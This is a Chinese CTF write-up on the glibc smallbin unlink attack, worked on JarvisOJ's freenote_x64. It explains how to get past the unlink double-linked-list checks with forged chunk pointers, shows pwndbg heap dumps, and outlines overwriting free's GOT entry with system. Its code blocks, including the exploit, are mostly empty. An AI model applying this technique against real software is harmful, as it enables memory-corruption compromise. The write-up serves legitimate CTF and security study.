简介
unlink是在smallbin被释放的时候的一种操作,是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候,如果它前面或者后面的chunk有空闲的,即in_use位为0时,就将前面或后面的chunk连在一起合成一个chunk;
smallbin的数据结构:prev_size,size,fd,bk;
因为smallbin被释放后是用双链串在一起的,这就使目前unlink操作时,有一定的检查机制,主要检查我们的双链是否是合法的;
主要检查fd,bk等指针:1
2
3// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
在双向链表中,所以有两个地方记录chunk的大小,所以检查一下其大小是否一致:
1 | if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) |
unlink操作的简要代码:
1 |
|
绕过方法
实际上,我们还是有办法绕过unlink的检查,不过需要有一些条件:
- 有一个指向heap内的指针;
- 存放这个指针的地址已知(一般这个地址(&p)是全局变量);
- 可以对这个指针进行多次写入;
- 然后我们想办法修改p的fd和p的bk分别为:
1 | //64位 |
这样我们就可以绕过(FD->bk != P || BK->fd !=p)检测了,当unlink的操作完了之后,我们得到:
1 | //64位 |
例子
我们以JarvisOJ中的freenote_x64来具体演示一下绕过unlink的操作并且熟悉一下smallbin的结构;
这道题在add函数和edit函数中,真实malloc的size最小都是0x80,也就是我们申请的是smallbin,所以操作的也是samllbin;
主要漏洞在delete note里:
1 | void __cdecl delete() |
还有一个有用的漏洞就是add和edit时,我们输入的字符串没有‘\x00’结尾符,我们输入多大的size就读多少size的字符,没有多余;
思路
所以基本思路就是我们先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;
在heap基地址偏移0x30的地方有我们需要的&p:1
2
3
4
5
6
7
8
9
10
11pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004
0x603020: 0x0000000000000001 0x0000000000000004
0x603030:&p 0x0000000000604830 p 0x0000000000000001
0x603040: 0x0000000000000002 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000001
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000004 0x00000000006049e0
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
有了&p之后我们就可以构造chunk,然后unlink了;
unlink之后的&p,此时p=&p-0x18:
1 | pwndbg> x/20gx 0x603000 |
然后现在我们就可以修改0x0603018地址开始的内容了,然后就可以修改指针达到任意地址写入了;
具体思路
伪造的如下三个堆块结构 ,注意chunk前后的size一定要相对应1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37pwndbg> x/80xg 0x17b8820
0x17b8820: 0x0000000000000000 0x0000000000000191
0x17b8830: 0x0000000000000090 0x0000000000000081
0x17b8840: 0x00000000017b7018 0x00000000017b7020
0x17b8850: 0x6161616161616161 0x6161616161616161
0x17b8860: 0x6161616161616161 0x6161616161616161
0x17b8870: 0x6161616161616161 0x6161616161616161
0x17b8880: 0x6161616161616161 0x6161616161616161
0x17b8890: 0x6161616161616161 0x6161616161616161
0x17b88a0: 0x6161616161616161 0x6161616161616161
0x17b88b0: 0x0000000000000080 0x0000000000000090
0x17b88c0: 0x6363636363636363 0x6363636363636363
0x17b88d0: 0x6363636363636363 0x6363636363636363
0x17b88e0: 0x6363636363636363 0x6363636363636363
0x17b88f0: 0x6363636363636363 0x6363636363636363
0x17b8900: 0x6363636363636363 0x6363636363636363
0x17b8910: 0x6363636363636363 0x6363636363636363
0x17b8920: 0x6363636363636363 0x6363636363636363
0x17b8930: 0x6363636363636363 0x6363636363636363
0x17b8940: 0x0000000000000090 0x0000000000000121
0x17b8950: 0x3232323232323232 0x00007f61721feb78
0x17b8960: 0x6363636363636363 0x6363636363636363
0x17b8970: 0x6363636363636363 0x6363636363636363
0x17b8980: 0x6363636363636363 0x6363636363636363
0x17b8990: 0x6363636363636363 0x6363636363636363
0x17b89a0: 0x6363636363636363 0x6363636363636363
0x17b89b0: 0x6363636363636363 0x0000000000020651
0x17b89c0: 0x6363636363636363 0x6363636363636363
0x17b89d0: 0x0000000000000120 0x0000000000000090
0x17b89e0: 0x6464646464646464 0x6464646464646464
0x17b89f0: 0x6464646464646464 0x6464646464646464
0x17b8a00: 0x6464646464646464 0x6464646464646464
0x17b8a10: 0x6464646464646464 0x6464646464646464
0x17b8a20: 0x6464646464646464 0x6464646464646464
0x17b8a30: 0x6464646464646464 0x6464646464646464
0x17b8a40: 0x6464646464646464 0x6464646464646464
0x17b8a50: 0x6464646464646464 0x6464646464646464
free(1)之后,堆块的结构1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37pwndbg> x/80xg 0x11dd820
0x11dd820: 0x0000000000000000 0x0000000000000191
0x11dd830: 0x0000000000000090 0x0000000000000111
0x11dd840: 0x00007fc6bdb86b78 0x00007fc6bdb86b78
0x11dd850: 0x6161616161616161 0x6161616161616161
0x11dd860: 0x6161616161616161 0x6161616161616161
0x11dd870: 0x6161616161616161 0x6161616161616161
0x11dd880: 0x6161616161616161 0x6161616161616161
0x11dd890: 0x6161616161616161 0x6161616161616161
0x11dd8a0: 0x6161616161616161 0x6161616161616161
0x11dd8b0: 0x0000000000000080 0x0000000000000090
0x11dd8c0: 0x6363636363636363 0x6363636363636363
0x11dd8d0: 0x6363636363636363 0x6363636363636363
0x11dd8e0: 0x6363636363636363 0x6363636363636363
0x11dd8f0: 0x6363636363636363 0x6363636363636363
0x11dd900: 0x6363636363636363 0x6363636363636363
0x11dd910: 0x6363636363636363 0x6363636363636363
0x11dd920: 0x6363636363636363 0x6363636363636363
0x11dd930: 0x6363636363636363 0x6363636363636363
0x11dd940: 0x0000000000000110 0x0000000000000120
0x11dd950: 0x3232323232323232 0x00007fc6bdb86b78
0x11dd960: 0x6363636363636363 0x6363636363636363
0x11dd970: 0x6363636363636363 0x6363636363636363
0x11dd980: 0x6363636363636363 0x6363636363636363
0x11dd990: 0x6363636363636363 0x6363636363636363
0x11dd9a0: 0x6363636363636363 0x6363636363636363
0x11dd9b0: 0x6363636363636363 0x0000000000020651
0x11dd9c0: 0x6363636363636363 0x6363636363636363
0x11dd9d0: 0x0000000000000120 0x0000000000000090
0x11dd9e0: 0x6464646464646464 0x6464646464646464
0x11dd9f0: 0x6464646464646464 0x6464646464646464
0x11dda00: 0x6464646464646464 0x6464646464646464
0x11dda10: 0x6464646464646464 0x6464646464646464
0x11dda20: 0x6464646464646464 0x6464646464646464
0x11dda30: 0x6464646464646464 0x6464646464646464
0x11dda40: 0x6464646464646464 0x6464646464646464
0x11dda50: 0x6464646464646464 0x6464646464646464
而目标地址已经被修改为 p=&p-0x181
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21pwndbg> x/40xg 0x11dc000
0x11dc000: 0x0000000000000000 0x0000000000001821
0x11dc010: 0x0000000000000100 0x0000000000000000
0x11dc020: 0x0000000000000001 0x0000000000000120
0x11dc030: 0x00000000011dc018 0x0000000000000000 //p=&p-0x18
0x11dc040: 0x0000000000000000 0x00000000011dd8c0
0x11dc050: 0x0000000000000000 0x0000000000000000
0x11dc060: 0x00000000011dd950 0x0000000000000000
0x11dc070: 0x0000000000000000 0x00000000011dd9e0
0x11dc080: 0x0000000000000000 0x0000000000000000
0x11dc090: 0x0000000000000000 0x0000000000000000
0x11dc0a0: 0x0000000000000000 0x0000000000000000
0x11dc0b0: 0x0000000000000000 0x0000000000000000
0x11dc0c0: 0x0000000000000000 0x0000000000000000
0x11dc0d0: 0x0000000000000000 0x0000000000000000
0x11dc0e0: 0x0000000000000000 0x0000000000000000
0x11dc0f0: 0x0000000000000000 0x0000000000000000
0x11dc100: 0x0000000000000000 0x0000000000000000
0x11dc110: 0x0000000000000000 0x0000000000000000
0x11dc120: 0x0000000000000000 0x0000000000000000
0x11dc130: 0x0000000000000000 0x0000000000000000
接下来向 chunk0 里面写内容就相当于控制了chunk list,随便修改东西,这里把free_got覆盖为system
exp
1 |
|
参考链接:https://blog.csdn.net/qq_40827990/java/article/details/88090810